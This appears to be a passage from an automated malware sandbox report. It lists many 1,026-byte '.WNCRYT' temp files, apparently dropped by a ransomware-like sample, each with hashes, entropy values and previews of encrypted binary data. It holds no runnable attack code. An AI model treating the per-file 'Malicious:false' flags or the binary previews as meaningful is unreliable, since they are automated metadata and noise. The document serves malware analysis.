                                      Entropy (8bit):7.821479561633825
                                      Encrypted:false
                                      SSDEEP:24:sSLeuPqoq8bBy0VjVK9XFSp7Kw66cAAbVhNqHKwwXOv:sSLeu3FZEoTXAbyPv
                                      MD5:25E678DD681DCB13FFF2734677EB9037
                                      SHA1:E43B9127934284FEBDA4E86DEDAC9E69A0A24CF1
                                      SHA-256:1DA07ED226D4517962AFDC7CC7FA6D1B612A536CCC74326C8B9234A11E0287C8
                                      SHA-512:F06AC22E22320DC8960449EAA5B789C5F5056C4C09B1AAA22F4A4335FF805D1F5F1CF19D5C97978218E9152E443115D63F37F3B3928BCED22B75974D72735837
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:%.o..[....;b..H...B...../.....0H..*..V.5..:. x....K......sv.m*..s..GP....RI.M%...r.Orp..gv.V,Eli....7....b........5ek..A.:..G...cO{.&..b....l.QO.&...7y.d...=.i'&.r..?^]Q.....v)......+.....Wmx.........?..e......f1...=........f..L.M..(.?..x.....<..`hL......E.Ww....v...4)...=)2......Z.....z..........7.j*=.."hX.....7B...c....1..+Q..9..|...U.c.nR6.M_.b1.&...0...Oj...[6.................xMm.y.....d.|.E..P.......&...r..\.V...~\.....a...E.......u.t.5~.....y...Y.aT9m.*.sYh....t-..aM.....U$G..}#..C"...Z4}..%.Z..:2R..$....F..._?.._Al3II..M..9..^..T..^Hh....Q...XJB[Mb_L..xS.z.!;.%.o&N...Be0u.6.... ..~.....e...0S.5...B..A..G,.mm&.!.'..}Gd.;.c.u.c.....'.r..Ph..N.......k...E..`...].G..o.v. .PYv..6&.Pc..#......7.U.!\...b...@.i.W...[J..?.,.S..F...m.........._.z.s.....3.h.....c'./....I.x/.z.K.i.nV.cz.g2>.{p.v....rV0.0....J......O...-(.........6..bU.s&. ..us...v.@..d0Fw..(..\.....k.e=..)".1..*'.|...pu...E8N.....8....~..L.n..&.h......

                                      C:\Users\user\AppData\Local\Temp\78.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.799325088457056
                                      Encrypted:false
                                      SSDEEP:24:Rpfw4dlwRSpArJv1KzAx5yZkmPDUXSikMh5+9QxJPKn40xN:RZdgSpANv1AM/XSAh8YJSnXxN
                                      MD5:1438951266EFCED9C840044393514A3B
                                      SHA1:5D26015EDD0C12986C785E6A0404CE1448B07AE6
                                      SHA-256:02184DA7E291F21206C585621B7459DDB701DB2A2734C7EE0EBFF1417E2E62C8
                                      SHA-512:85C524509B93280CB24ADB9E3745439A9C0A7E9A816FD487F2E6CE00A3EB1B4FCECAD3F006643D587C84109EC99D1D3484138410FDEFF08140FC0281F798D291
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.kFa.l./.<...........Ns.....$B$.5C..rCU/...CDj9..v.m..i.p).:.Z..v.Pu..$....2.^.W..c.y.%...Q.....8...t.V../g.n...w.>..2.)$AAT.0..J..~.c.U[>.ZS.4......w3......a..3.'R....z.l@d.....Xu.^.F...:...b.}%..G.*v.F.|?.A..Pn.g..[L....$R..!y...q..7....../..7{|.Fv.x..p{..8...........(...L...j>.F..S.G...B.F...l.....q.[...#....r%..p...'..b..PVA..j.{...7e..*. ....>.k.A.jN1.K....q}.*.'K.7..BH.{...o.5HX).......;8..g..6.V..t......jI...{..@.,.).. .'..w.........Yq.D.z'.S+.....D...],.9L....Y.D...J.$...V...kV.U....q.qSt...q...].O....J....n..)_I...n.:.o..|...M\.q622,E+a.L.>.H..n'..wI.x.....>+.`..-..U1M.M.S..5.6..z&!2dK.;......y.....c.M0ka.......O.<....C.S.s,..'.mM+*.+ZH.w+j......]w.e..6.DF\;"v........F.SR.}.[.0*.5\W..}....D..b%H"..8.^...../:P{.#./.5....R.A..\Y|...]va..}.N...~[cb...^v...?..1E..y..v..6......9.:..?o...&....v=BM|.V$E...r./....}.Gu>V.f...4...3..~..x..{/6...S. V...^.?E.R.x<.H..;..Q......n,.].....4.+....A/x..D.z..G..2<U........".3m....1.....q.A..g..

                                      C:\Users\user\AppData\Local\Temp\79.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.792955725258114
                                      Encrypted:false
                                      SSDEEP:24:YXy5RQ94qIF9XGLzIpEe0+NoovbYs5p3973eRGCP5Fuz0mtt:YF94qI7XEzS3aod5PePPDcFtt
                                      MD5:382DD3EE869B73F21956F7A6760ECFE3
                                      SHA1:7E1326E6ACB8B8B3C63EA291F02209B7A192F3F9
                                      SHA-256:B6D2CEF3A7A2854D7DD065317F63AB6FAA3B878276D1F94AD6DFC4E468898C51
                                      SHA-512:09A108C1E55CC410473EEBA599A1B59D063E93936B520CFB410D408B680498B6B0422DABD5219375F032B467B459505398B2FD1F8E37587CE8861BF26E49BF78
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:/.oE....jZH.D....D....R\HGp........ ...'.....[..$.P..}.*..l...JG}>..........%.M~*.......3.d..O.W..E#..cV.n.%......."...3......T....O.B..}.oR...AA.d.. ........].*....(.....-.%.......zg...N.y.Qq..]f.e..99...KE.U[..O.()H..i.C.../...8ht....:.w+.;..Y ...v..)D.#.Zk..~Gb.X&...L}SLo....x.A._Q7|L.6.D...r.....<..u=F......P...bM...`9.?F...k.....N-.'..|.2<.<..*.E...E..........4...%.<......u...I'........oy.\S.....LT_G..%RD7I......<.k.....4..z*.;./...0.x....U...]...C7...*Z.EbBvWDf...Z|..4..%....{...............k .!.mp.K..A~.>..C.#s....x......w.....TZ\^._d\n..Z>...&..W.........X:..0o64.MA..9.?..FJ+H8K.../....T.?..[. .>...*...Mg7.Fb.M..c..Z..:...|6.....*x.f.fx%..gx\..^.9..y....hRK......GW.owE.3A.r...du..rS.).(.P.....&.FQ...W....c....8....~.k2Q..,..3...u^+...(%.NS.#..M..{*.d.w;.k.u...&..Q>5[. ...........[..2.mp.U..n...p..3.9..=.9#l.i..x].1.?..P.....1..<o6..(....FM...(u...........E.%}o.8|...W.KL......./.z......"$6_..Bd.A..y.;..N.f`..#.)....2....:.1..>....$..tO]

                                      C:\Users\user\AppData\Local\Temp\8.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.825864870942352
                                      Encrypted:false
                                      SSDEEP:24:Jnq4qTUOO0DldJmIPiPCfAIysGO4IoiauHKVXidO9h:JnHAhRHXqPCry1rph
                                      MD5:5C8FE6A5524B309968EFE6D87749E9F1
                                      SHA1:660C25AFB249FFC306C8AA7D7492555F8CCE2FB7
                                      SHA-256:B9AB06FB5FAE7105FB51050D6A4D98BC5A5922F2E079CFDF0774979D5FFD2068
                                      SHA-512:A73B675B7A3550F2300B677C7475740FFFED11319CA9125D97749D59B7DE6B5CE8D97A94CB333AE4652F1FAF35B9F54F4550D7AC1F6F8808EFB45DEDC9713993
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..#.......x.wJ0~.'.&....I.Ld{..~k....'.H..;.gB....m...S...........\..a.....>4-R..n...C...^<.....0...Y@....6..z.L.+>.|...).........Y...".o...b..v.^.7..f4../.0.,_..P..e.^L.....d..&rzt..;'J.f@....Q%.{.|...z_..N....l(.......'O.Y..2^.O....y.y.b....#..*.......f.<D...V....`.....~*.uv...Y..)O...MLx..'yC.........qa"M..t.W..S....Q...*M?.q..YnK.m....?..~.{.M...A....*..kTI.O...7XyJ.g.R+Xo.n....D....\*..!.0q..sV.R5.V.......S..m=.D..L.Y2U...}.QK.v...`I...?...y..ST/...?.............E.f.y..f.E.F..........R....P.AiC).`.R...Q?.....7..S&. .n=...1........._.#.>\Y]^..Lf.R..a.....@.-..N......K.....Pd..8..TB.E...V.....o4....'..E.L..Yg.....!i5..j...E.sX..2.V'.E. ....o%2...(..G.=..gYTS=q...........d.8.?.sS.(.=.kh.i.@.n.K...d3.......A..>@..|.g{ .......y..4....<.e.7*|!i?..8-eB..f...m...&#>...T5.......Q.wMD.4.WW....a`...h...^....H......2....%.D].. .P..B.4f...K..p....c<.T.y^.!.PH2...0.........rv"n...N...+..q>.0....".Mpc....e_%.G.FH....9.a.iT......N!&.i...f+.

                                      C:\Users\user\AppData\Local\Temp\80.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.78055676529936
                                      Encrypted:false
                                      SSDEEP:24:iRvGOnrUX39wkct0WP/+W8EQmUCYKqltwgk8JLJXt2Mzn:iRvGz6t95nJzMtg4Jxzn
                                      MD5:8A7036F8501854A0EE43C716E9FA3A8E
                                      SHA1:EEE321DA972001863120523318CAF821E483C5FA
                                      SHA-256:0C8031E2E948C54C815840FF6708FCFD33085051FF93434FA51C55016F78385D
                                      SHA-512:3B069D0698FAE2AFC7902D7EFA2C791DB993FC7B09DE14034406FC8702D5F65D7D46D44CE55875AC48AB30C5B8FD43B455700F878B1DF1EC5EE619E01976FFA5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:`..@Z.".r.b........-.....`D.[...T...J....mT......9....fo6-Y..}.e..)?@>F]\.&.S.9.......i$~.4!s....d^...["....!.q.).c".2W...^....$...-.w...v...v..D.W.$+..*..Wi.......=G..!...&....R.....W....e.].9....=...?!.S.p...._.e.L...o......l.)D@..;a.5*..9.x.R.D..L...z.?.3'....=..4c%....d..mn*..6..g. .M.]b..3_n.$WF..)<..ae.m.....".c>.)..v%.....<...,..[...l../.E..^.y`{.......5B.y....h.8...>E....K..........~...U9V*.=..n}.~. ....].g....#.$.....#W....].e~%h..+QD7.v..>.`.t" ...(..*P{.E.%1L.t|Q.R.....(_.y..M.......As.....E..<.+$4.....{.!c.6/....@...z?........G.oL.g.p.=..gm.h-;."....z....+zH.1w..=.ki.......R.Nnt".M..*BP.o*A...........v9.u._..Q...=B...,..r..."...../.D.r_~.8..o.P1.P.F...:...j.G=3!.f.f}..g.:...Bmu.sx2..;./.V.lU.*u;.M.aHmy.t.W..Y.h.rdk..Y..!(..y.m..._...{..h...K.....-...M.._C.V.k....":."..TA.8.1..i....2....W=d.Rv..E0..n:.6j..).;...k;.>....r.G.j.G.N...C......n... .]J...b..m..uv.k-.uY.....<..i.G.$.!G.A.u.*..r1.}'.o5..X.;"I..HtO..M..8.$

                                      C:\Users\user\AppData\Local\Temp\81.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.814651835459016
                                      Encrypted:false
                                      SSDEEP:24:SiBEabJftFIPD6g1r3Mbf21th0qfo1X2Uk74FWWG9KiS:SirkD6gVMD21wRF3Ge
                                      MD5:1CBEF9703C8531B1EAC9532D74EC71B5
                                      SHA1:D2DA41535357C3E0328726D7D859C291AB520121
                                      SHA-256:72BEAC613D874F74A13891DC1BBEC7382ADA50F9153C4EF2B6088D9D3CCF5148
                                      SHA-512:47BF06D93E88D03C917D97AE358A882E6812913F66FAD91C052AEA7FE8C53C58FE40E9E34EB63CEC7E78ADCE2358CBB3459E476D4628A2DEE3E3993FB808121A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.9.L..E. .....I..&....n1y.........W4.&.T.KS..g..... EP8.~..T:.-x..]K#RWv<b.y.T..FP..H#.....E.N..[...?....f.#.....m.........-.Z4!.@I....T..).};~E.........t@.{.f.`.......+...i..&.....UT......L........4..v...'........:b...6.^..Z..a.y)r...n.e.W...#......c.n...P.*.r.@[..4A...s..D.n]t<....s.........,W...5.s...c.}.&.......C.s.u.f../;.^.k....n+.[....#_.c..Q.......a.9"...&._X.a.)......r.....4)i..So$l.T..H...2u...*.'Z)i[.)#......).d5......Kh....RjE.....q.Sq H..w,.._TF.U......r.oF.A.`...3..N..n..&.V.lC..`.]..S.e....%..........l.5..[..p....G(.....n.\II.#.^.45...>....{...1..s.f... \bE...x.C].....uO.#........U..X......@&t..d..A..fe..Z...F.V..$$.Y.?v~..smP6I_..*.4Q4sN.e..Y....._9.....EJ..sGdzc.y...c....~q.$...L.A..o5.kD..MXq.x...f4. .....$Hkj.....m.._T}.H...Qb.J[.+....Qa...JN...G..n9....B....1*..f...Kl.?.....E..U.$K..:t(.....7...d........o6...N3.u..3...[.x4...vwP..7.V:..M.u..|....2.=>g..Vd....i.O.l.9.y...L....K.D...d3.~..f....A..).........}.(..."....X$

                                      C:\Users\user\AppData\Local\Temp\82.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8149986808310805
                                      Encrypted:false
                                      SSDEEP:24:2VxfZGHl2fabRNlpPnqug6CoOoE3g8Tpa7:2zcHUfabRHpPJgBoOoEwZ7
                                      MD5:5C5F465F066B58B862B2E54AFDC1E40E
                                      SHA1:B612668CF1EB897EFC81FC2EA20F756A25E2DFE3
                                      SHA-256:6FCDE18BC531991E7DBB1F00AAA2FA44A104AB0C58F16DF9CE2323E558C42FEF
                                      SHA-512:6ECA7AAB673AF5B649F2499FD5DF16F440C2F2305322102F411FFEEC365B070BD65B3209FE48F9B3E853D9A010E5866E2BA3A548294CB74C7614ED12D8470292
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...Q&].../s.R.R.C2%2G......P.....x*;....d.H>.dN.q...+.v..D[..X@.....(.v}I.!W-C. y...T.1.\.....%1.^.i.X-Y.. L..8n..J<...Gb..'...`C.....&.&7.|.3..n...Z...P.....Y..$1.h..2.a.....}.....IW.]q.8......~....D.,/..T..:H..,..d.p...7.b....c. ...`.j.a.K.t.i)....Y|...v87......7...{...6.jB.._...'w.h...E..~(.r.|.7(...B.....=..p#.`3.....p.eN.8.${hWX}x..`X<.+......m....=..A..J~..3..z.,EXi..\.g>c.....}...x.*#....-.yd...K...7...x..b...5......V...Zz5.......EQ........~@.c..N..8.u.....Q.a[...p.....<NRE....KA.J5M=UPasX...e\Y...Po...}..[<...-...}A.x.&.u.`D8j............S.#.Ngc.e...d_.^9E.'..V...A...,....'.....!..u...uzWjO.d.@.Z.T.m.mf.c.F..-M.pg}~..G.v..zL.x.h..S.h`p..czC..xzu.=0.m.../......... .......s).4........c...h.:Z...AB.:....v.\...B.9e#../...T'..9E.vV.....W.0..KR...M..E.8../......@....."j......s.x.O}.h2 ?.{.X..L...:......J.9b.I....f...1.j..`>..\t...L41.$.$;&..7.....FZ.^\...U.<....{..tED7.f.znaT...>. .K.S........6..+_Jg.N@.....V...U.m...(..%+.H.n........[..Q~...

                                      C:\Users\user\AppData\Local\Temp\83.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.773682276235284
                                      Encrypted:false
                                      SSDEEP:24:V6gYADq6dVxWOmvXAdJE2sRkIGvgp3/d/ycZd6X+5Us1:CADqixWxQHlHI93/1ycZ391
                                      MD5:2A8E9C347E5A51ED504CF13A9773EF42
                                      SHA1:C172394FA5B2ADE180184228FC984F5475CC8D01
                                      SHA-256:8261FABAE6939FAF1C258F0792F1F301B0CBF9A2FE267F58309E46132B49DD0C
                                      SHA-512:56B3401E0113AF2D36A973159E918AB96EAF248204492FBEC3871C0AD5A70D1DFDF074AA642D7168ADF1648DDF62B572642CDBC239883DA218421BCF6F03F991
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:R....w....?c..=.C]./.,....@..v....}....RGU.K...S.r.ER..9..=.......a"......w.`.M-...%'.N7.........Y...=......f...a...X....,...S.b.....Y$..{... [...;\../T..[).q.;..Z.b|F.1...;...+.0.7,.'...s7.Q-..6.{....u.'0,R.b.........pk:.i..6...y...%..V.......Z....D+d......!?.(.....<M.....2.neZ{_..=dP..$.6.Fdp|.v'.F.w.y..-<C.'H!o....V..w.$_...&....,g...|Q..y..e/.o.<{.Q.!.y.w.&y..z..........p"...!.......U...R......2U..P?\....._...:..#.......k...(l.=o.%..?<...&......d....+tN...3..@..z.$.......,..,e......J.z..a..$..H.Lt.j+.._.....%...pz..Q>...H.;a..%.6.(u.......%..V.q..hX"j.;o..cq..;$!....$<?E2.l..[.W .....b.m...p........f8..C..........}.\....u.L.E."......tz....a..N....[./.j.s...*......k..Z]9"P.gC.N.x.P.)a=&......2.S....j.n'.C&&...j-....1.z..=%v/.?.u.w.ggC.K:Qn.s.wyqEF{]....n.}.....x.../m:Nj?..;u|...}w7.$d D..fQ..W..({....D...f......e]......|.N..K.GS@.-..)^\...v._....t9C.V..|......a....i@p.....R.-&.s..i.4.y.....j._f..:w._.=...1...A.Qpn.PP.n...[BX...

                                      C:\Users\user\AppData\Local\Temp\84.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.833059474372981
                                      Encrypted:false
                                      SSDEEP:24:ueqx0hiEWoeVrnW4pX5AO6oaOyCrTFDdlDH9C4:GxaOoeVrn5pWOGYrJw4
                                      MD5:319B20502D5B25CB8C4F897AE7F756F5
                                      SHA1:87F6872FC4D38A2566E0FB06D0B3DC35B86191B7
                                      SHA-256:70DA43CA5EF60B3BFCBF5CA2B606F8A88F6B4D849809EA31B52FE981927DCA56
                                      SHA-512:86A74054DE3FBBB41343D740C659EC377A51E983466975A89A9DB76863176875CA5365A3B67FA5A7F1CEA626823A53F41C8F370FD4F9AD787D582E33F976BFA7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:^Q&.....<.7.1..Yd...N.%Z.3.\.y.Z.c..T..p.s .....Ce. .fu{X3.........X.:/V........4..`....^....FWTM.M7...AJ.`..N...r.*_..9=$%..Q...i..yr...>..n..`c...a(V..V.........y..t'|..G[..I....J/.}...Q......>S..*1.J{P.x.m[.;<..t.....4CT.\.....`..+....b..*.'K...ng..V......b.C.Z.!....r.V...[a...4.....kz..;2..!.H.2L...x.(g...zx...)...Knf"z.&..=B.....R.....dz..+...2$..Jy.._...a....Y./....k........J...K....[.i.......C$H.!5.1........x..V.C*.0..i.x.Z.Sp..n.....b.Q..T..A..lw.v.3..*..}..MCpp../F1..&(i\..d../..4..6".h.6uH$..P.._e....F=...8m.%"..l..i3...Sl..f.I.3}.y..v+#.h....:..+..m....%^....~R9D.J..S....ggq.?.P.~g..y.4.l.....B3qyJ..[.E.x.,.V.iE..F.....O.x.A..R.F.<:Bd....0.?T.&~.7.%...d..0h..Y..../w..D.Y.C..+...o....M..P...@-..K'w3..w..o....]....&i.uE..u.@.zzH...L....>.c..HHXed.n..o_q..A!.TL..)G.~..>b.V`.H=...(^5P).%...z].u3?..i<-.......=..h.kz..(Z.r_M.'..Rx.Vx.;..s...o.<......7..S)..'EkA..O.+..(...Ca#Wdz...8...?.cE..O...0....@.yt_..,.....w..-.K%......s.

                                      C:\Users\user\AppData\Local\Temp\85.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.798332017547622
                                      Encrypted:false
                                      SSDEEP:24:86eh558GYTajwYs6LjAlGl+zfz6LN/OSaAfIqu:8L5bCajlsmd+z2LN/NaAY
                                      MD5:EF1627A5A42C14F7D96297D1569FC3A4
                                      SHA1:22BD785CBDDAA9BB816172A6E03E22C159F7B1FD
                                      SHA-256:22C500BA2FC2FC6A606BC74029327E6559A4B90500E4ECFFE7B5C496CEB71ABD
                                      SHA-512:E6356BFF9634A41C5931FEBB172852E592F2DECDCDEBD3CED991A6F867F199EFB444789035D6B5940A5457103C8F4D747566E84FE24B9078909BB6B5299B9001
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..g._.H..eV6...X...w....x..j..+.1U..9.D,i.w..5....i..^.r;.).g`..>-.U...\....^..B..k;..4..^`!...TkGn.uL.4{U..3!...m.6..)L......j'.'7.g..L.U...B...<...\.k.I.....o.!..n....t.A.}.b..pn.w...Y|..m....HU.....k....0z.........+.?.. .cqI..B=x5.>...T..o.Pkq8P...f.M..e..<.n..6D.."B.7...6.?q.|P..8...S~.....<.|%-........g @0G.J.Zu=......f.N.+:.+.4.:x6.E.Av...AR..:p.=. [_@e-...h=~.~.B.=....Y......E.?Q4.8".g......1.b.+......A \%.=w/..t...Dx...!t[f..Zu.X.i...B...gO..|v...>.Ip-S.p.6....^.v.(~..!y*(....Mf....[5h.lR.B...|...}..}.D.A.m....#........B.J...e...#d0.3I.Ai..C..u..~!.....\...7...`....]..#bat.I..nq..a....q.h.'....?=i:......)..V..k.w....].4.c.E..s.d.4..[....W.../l..........3..S...zo.kd......R...,.rO3..g.....oE...]n.i........_.e.E..T/.......<...^.6.q..`..{><p{......o...Q..BFl.d.J...M;5h..3..%e.&..zD.$.......{..I.)3@0`...*.L P.<6.6..J`~........R/l....o........n...j"....(.Q.F..d.|..P8...-r..q..i.....q.....k.~.....6.p...Q..U.-...y........p>...~%.....u.

                                      C:\Users\user\AppData\Local\Temp\86.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.830433841368424
                                      Encrypted:false
                                      SSDEEP:24:wrvShx8sUiEIaSWGE9cChJ2kGPcDYGCWRxyj+pEvsfEe8GD5e6JHHHZiA5B:uSssTEFSWGE9j2kGPcVCWo+QsfBJ1nTP
                                      MD5:73D2F49C0904B89032D2BE9E61F17CC6
                                      SHA1:43920D2A58B6A21BDEBF0B0C6C52583F8E7CA91F
                                      SHA-256:9ACA763EE8D5EB775EE6249E10BB57527BBC39DC5147473B331B1223D1A42210
                                      SHA-512:70566357D4BA907D5B284B4AD094BBC799040256E48A7E831167DDC701E7C8A5E07439FBED5DCFDCB2090078D037D662CA08DFC0280E86FB6151570B39BBC0D4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.<.b!.e..H.3:wX......d..d.[-J.T.....*.V.........&.<j..{Z....3.t.l..a6..o.$.i..C.C......5b..Z..F....&.O....>`.3H..(1L..K.....+..y{}.H.R......x.......;A.......E.h...."....[+.5...1..I^...A.)w..r....^"r.8....T.W......a..V ..........M..I6..Gh.?..L.@....4.=..s l..{M.C.h{.&T*.S...).}.)fp...b.S.R..B..~!..c<.........w.P..n).#..7..v.......0x5...T..S.8...W..........I..8../.i.>p._gNX....C.!.aB,.MB..Z.9..%.......Q...8..FH...JV.]22..ym.Or.%-....o....o.....X;..,lU.L.!o........lW........3.^`.A..n..s.C.%.$/..&.>.D.r....k..P..U....1..Y.....y.hR ......Y.....b.|.....(]....*.Sb.O.)...$.........>M..KR.wR..g.}-..@...o.f.s...CT(c...7-...".........7...e.....].....t..Lw.jA..ob.......D>.<.5.^1SR.&.e......b........q...->P_.^...G.....K9.M.-.V.'.r......(N.#..4........HN0.2.q..,FQ.g..z.@|*.I.M.`q..x.oOf_.K..<...+.f...gf..Iq......R...J.f-..o.w.qp.*...5K.9v+......'=..N.oa~..]..S.....ram@.......b.......d..1Q..._yFiN.....u.........D.>.Hq..U2..=`.W-E.........4.Z..9..

                                      C:\Users\user\AppData\Local\Temp\87.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.810425922861857
                                      Encrypted:false
                                      SSDEEP:24:WW22x2EDU6spah691Z7KaONi12eF+SHoGF5Itna/Nyr:WR2xxU6sUh691Z7vo3BSIGjWna/Ir
                                      MD5:C560B3DE91AA91F10B7EBED97BC36A5A
                                      SHA1:7D04A9949E403F3EAF8676922C62629A1AB04673
                                      SHA-256:A6D55ED69BEA86F746C301078EAD8647274097DC3BEAC6978E0F06B7ED39CB7D
                                      SHA-512:601E2E6835587F861EE033F382C4E5F0C508428DCFB0227472BAB37A87663FB05F7A77EBE11BAD720D4C737CDF5B2A52B6FA72570F821AC5AE2E11951FF1F76D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...@XpE.4Y.....4.m._...53].....;y...$.9.#..;k.R........WG..d....4......k.Tn..L.R.|7VK.nW.{..qb..MT.K..FE.fI......K.s"..}...Y....L..YWJC.....9..<z=t..^.8j.v+j.$........L.B!..k .C..QV{B.....B..fm.....n..S.....m.}.q........$.9.z'....p..;..C.....3a.....}.BP'./6.E.y.....-p.m.Qj...E3...R.pY....d}.9b...)b.6H..........._e.:=5Xr.oa..;..?E.n.....P.lz.a..}..0...=P.$..Rxg.n..zyZ..~.R.ds...%.5...-k.2.x_.....sM.A=s.<Q.G..#.ML..E..&I<f.ge.J..n..M0...4..(f.&F....:a.M...^x:.a....2...7A..F...pb.z......3..);O....w..1...U';O...M...?0..@s._..Z.v.F.rSH..Z.t.n....Ki...'....I.w......z..,M]........^.@.O. .C"...\E...S...~.......|...0YC...&I1....X...`Xd.H..~|@i..r.......X.k9k.D-Q.R|.}$....m..S...YI.k~,.0m<.C1...T....?.xXv.../...j...8@?.$...l..PRb(d....>.0..Z...b48.p... .i.g4.W..11.....>....?..bZx..&..U..;|.*...v.v.p^......P.L.B..."...3m.d..'...5....<m.a.TT.....))ha_..Z<._..=.o....S..V0........g(t.....n@......c...=.D..!.=./..Y........B...{q....K..<...6.....N8...

                                      C:\Users\user\AppData\Local\Temp\88.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.798925491589487
                                      Encrypted:false
                                      SSDEEP:12:UC0h+xHO6eW2SxT+HblgSiwaUY/ndvAXM7DVYW5fr3LnZE02yngPxkrsDTBlGnY0:UDkO6Li3lY/drqUFE02Z8syvPszL2
                                      MD5:4136305FF4AAD46E7D36A6BECBEB62FA
                                      SHA1:2BE6B165EF25E657DFD8A8B912387CF03A333DBA
                                      SHA-256:BEFCC063E40E4AEB5D1FEE97B3D65DB6DA0D0DBDE0F61E51912B8546417DE1F8
                                      SHA-512:AF7AE691A8576AC846919CAE58831FF68C1671D855BCF8FF84985836279912FB477B79B521DE2EBFDA8DBB2214DDDD54E15AFA3B264F3CD04E7CEEC80194564B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:......=.).\.uC6.D..:.W....@...SjS*5..........B..1#.}_{/r..U.p.M2.mq.9.....*.xL.....~.t.\Z._..<;${.#f.- ...~y...sw.....W....UO.:.........1e.Q....S.....r..U t.....7r.;PU..........4..>......)T.S.S..].Aq..\..1....I.0...7N..k..7.^.........Pp..*.s....P...x.h.J.G.].I.?.<.+M......*...r..c........d.a...s...OX..>.G.p.$..dv7.M._*8.. .wV2..=...oq/Z;j..U..J...s...(...x.S>..\[2.-..f.N...x=......bv. ...r.1.Q.6..F2.pT.>....k;......F.......p>...EsW.4.6.W.w...q.g..Q8Av.5y......T&.b.Y....Fe...*.m..2x$F<C...P...GB...YG^..I....Tv&..W......7...>Y.*..*..).......n.l.%` 67.zz..Y..4.pt.y...n....:Y...+..H.-...=.sg.J9.3......KwD.xg.N.V..8.+.u.9't..f8....1.\{.>`._........nSd/.QV>x.P.p..Nud?Y.:Ir._.....q.[.fvP...o't#.5...H.m~.B.kq...\.......{n..Z....o.N......H.x..\..c...Bk..U..........SAz.2.C=..`.H.....=...u...Ci%.e.kW..wH{f....Jm|3X....S2.%.h.....$..C{.E3...)m...6.*.k.]..rc...9..d..........b.7& ...Y..b7)..m.&VhtyLo..1.....%..{.y.H]gL.~_..L`BL<...-.7.#'L....@l..G...C.

                                      C:\Users\user\AppData\Local\Temp\89.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.822089595587551
                                      Encrypted:false
                                      SSDEEP:24:0IaKdbKwsmvdcCgmaHXo/aEBldJ522v69tzAzEBEZ+Knjf8KASZ6GT38OkqeD:0/KNKwsWdcjXo/aEBldXS9tzAMEHkJnF
                                      MD5:88C24520AE08E6DE44C39A02EDC01B1C
                                      SHA1:8808D81132C76139EE89CC917ED2E77956D2C3B9
                                      SHA-256:43A62BCCE21912117385D6C25AF1EA157104D932A10CAE1FE618357F2FDFC603
                                      SHA-512:5512136170C4A312103E92659858FDF60C1F266C56F4964FB72B8AD9C103102554E3AFD1C674D73823A76269C824DE0EE15E1E14A9328BC04C5A466900CD7339
                                      Malicious:false
                                      Reputation:unknown
